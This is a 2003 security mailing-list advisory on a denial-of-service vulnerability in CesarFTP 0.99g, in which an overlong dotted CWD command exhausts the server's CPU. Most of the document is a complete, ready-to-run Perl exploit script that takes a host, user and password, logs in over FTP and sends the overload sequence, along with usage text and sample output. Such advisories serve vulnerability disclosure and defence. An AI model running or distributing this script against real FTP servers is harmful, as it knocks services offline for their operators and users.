[NT] CesarFTP Denial of Service (dotted CWD)

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To: list@securiteam.com
Date: 23 Dec 2003 18:02:05 +0200

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  CesarFTP Denial of Service (dotted CWD)
------------------------------------------------------------------------

SUMMARY

 <http://www.aclogic.com/> CesarFTP is "an easy-to-use and fast to
configure FTP server". A vulnerability in the product allows remote
attackers to cause the FTP server to consume large amounts of CPU time by
issuing a malformed CWD command.

DETAILS

Vulnerable systems:
 * CesarFTP version 0.99g

By issuing the following command a remote attackers can cause the server
to consume large amount of CPU time:
USER user
PASS pass
CWD ..................multiple 10000....

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

########################################
# _ _
# ____ (_) | |__
# |_ / | | | '_ \
# / / | | | |_) |
# /___| |_| |_.__/
#
# http://coding.romainl.com/
#
########################################
##
########################################
## tested on CesarFTP 0.99g + WindowsXP Sp1
##
## server : 127.0.0.1
## user : zib
## pass : zib
##
##$ perl expl.pl localhost zib zib
##
##server : localhost
##user : zib
##pass : zib
##
##[~] prepare to connect...
##[+] connected
##[~] prepare to send data...
##[+] success
##[~] Send CPU Overload Sequence...
##[+] CPU Overload Sequence sent
##$
########################################

if (@ARGV < 3)
{
print "#############################################################\n";
print " CesarFTP 0.99g : CPU Overload\n";
print " by zib http://coding.romainl.com/ \n";
print " 22/12/03\n";
print "#############################################################\n";
print " Usage:\n";
print " cesar0.99g_dos.pl <host> <user> <pass>\n";
print "\n";
print " <host> - host for attack\n";
print " <user> - a valid ftp user account, could be anonymous\n";
print " <pass> - pass for the login\n";
print "#############################################################";
exit();
}

$server = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$nb = 10000;

print "\n";
print "server : $server\n";
print "user : $user\n";
print "pass : $pass\n";
print "\n";

$i = 0;

print "[~] prepare to connect...\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "21") || die "[-] connect failed\n";
if ($socket)
{
 print "[+] connected\n";
 sleep(5);

 print "[~] prepare to send data...\n";
 print $socket "USER $user\r\n";
 print "USER $user\r\n";
 sleep(1);
 while (<$socket>)
 {
  print $_;
  last;
 }
 
 print $socket "PASS $pass\r\n";
 print "PASS $pass\r\n";
 sleep(1);
 while (<$socket>)
 {
  print $_;
  last;
 }

 print "[+] success\n";
 print "[~] Send CPU Overload Sequence...\n";
 print $socket "CWD ";
 for($i=0;$i<=$nb;$i=$i+1)
 {
  print $socket ".";
 }
 print $socket "\r\n";
 print "CWD sent\n";
 sleep(1);
 while (<$socket>)
 {
  print $_;
 }

 print "[+] Done\n";
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:zibelette@aol.com> zib zib.

========================================

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